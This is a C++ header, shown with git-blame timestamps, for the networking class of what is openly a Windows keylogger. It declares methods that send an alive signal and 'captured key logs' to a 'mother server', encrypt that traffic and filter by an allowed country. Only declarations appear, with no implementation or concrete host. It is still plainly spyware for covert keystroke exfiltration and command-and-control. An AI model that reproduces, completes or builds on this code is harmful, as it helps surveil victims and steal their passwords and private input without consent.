2022-12-05 22:41:36 +00:00
|
|
|
#ifndef CONNECTIONS_PIVOTER_H
|
|
|
|
#define CONNECTIONS_PIVOTER_H
|
|
|
|
|
2022-12-15 15:21:46 +00:00
|
|
|
#define CURL_STATICLIB
|
|
|
|
|
2022-12-05 22:41:36 +00:00
|
|
|
#include <iostream>
|
|
|
|
#include <string>
|
|
|
|
#include <vector>
|
|
|
|
#include <Windows.h>
|
2022-12-18 22:54:26 +00:00
|
|
|
#include <bcrypt.h>
|
2022-12-15 15:21:46 +00:00
|
|
|
#include <curl/curl.h>
|
|
|
|
|
|
|
|
#pragma comment (lib, "Normaliz.lib")
|
|
|
|
#pragma comment (lib, "Ws2_32.lib")
|
|
|
|
#pragma comment (lib, "Wldap32.lib")
|
|
|
|
#pragma comment (lib, "Crypt32.lib")
|
|
|
|
#pragma comment (lib, "advapi32.lib")
|
2022-12-05 22:41:36 +00:00
|
|
|
|
|
|
|
class ConnectionsPivoter {
|
|
|
|
public:
|
2022-12-15 15:21:46 +00:00
|
|
|
std::string url;
|
2022-12-31 16:54:55 +00:00
|
|
|
std::string allowed_country;
|
2022-12-15 15:21:46 +00:00
|
|
|
CURL* curl;
|
2022-12-18 22:54:26 +00:00
|
|
|
|
2022-12-15 15:21:46 +00:00
|
|
|
ConnectionsPivoter(std::string url);
|
2022-12-15 21:47:12 +00:00
|
|
|
ConnectionsPivoter();
|
|
|
|
|
2022-12-15 15:21:46 +00:00
|
|
|
/// <summary>Send an alive signal to the mother server</summary>
|
|
|
|
/// <returns>TRUE if successful</returns>
|
2022-12-05 22:41:36 +00:00
|
|
|
BOOL send_alive_signal();
|
2022-12-15 15:21:46 +00:00
|
|
|
|
|
|
|
/// <summary>Send the captured key logs to the mother server.</summary>
|
|
|
|
/// <param name='codes:'>vector of key codes</param>
|
|
|
|
/// <returns>TRUE if successful</returns>
|
2022-12-05 22:41:36 +00:00
|
|
|
BOOL send_codes(std::vector<std::string> codes);
|
2022-12-18 22:54:26 +00:00
|
|
|
|
|
|
|
/// <summary>
|
|
|
|
/// Encrypt the given data
|
|
|
|
/// </summary>
|
|
|
|
/// <param name='data:'>Data to encrypt</param>
|
|
|
|
/// <returns>Encrypted data</returns>
|
|
|
|
PBYTE encrypt_traffic(std::string data, size_t *output_length);
|
2022-12-05 22:41:36 +00:00
|
|
|
private:
|
|
|
|
|
|
|
|
};
|
|
|
|
|
|
|
|
#endif
|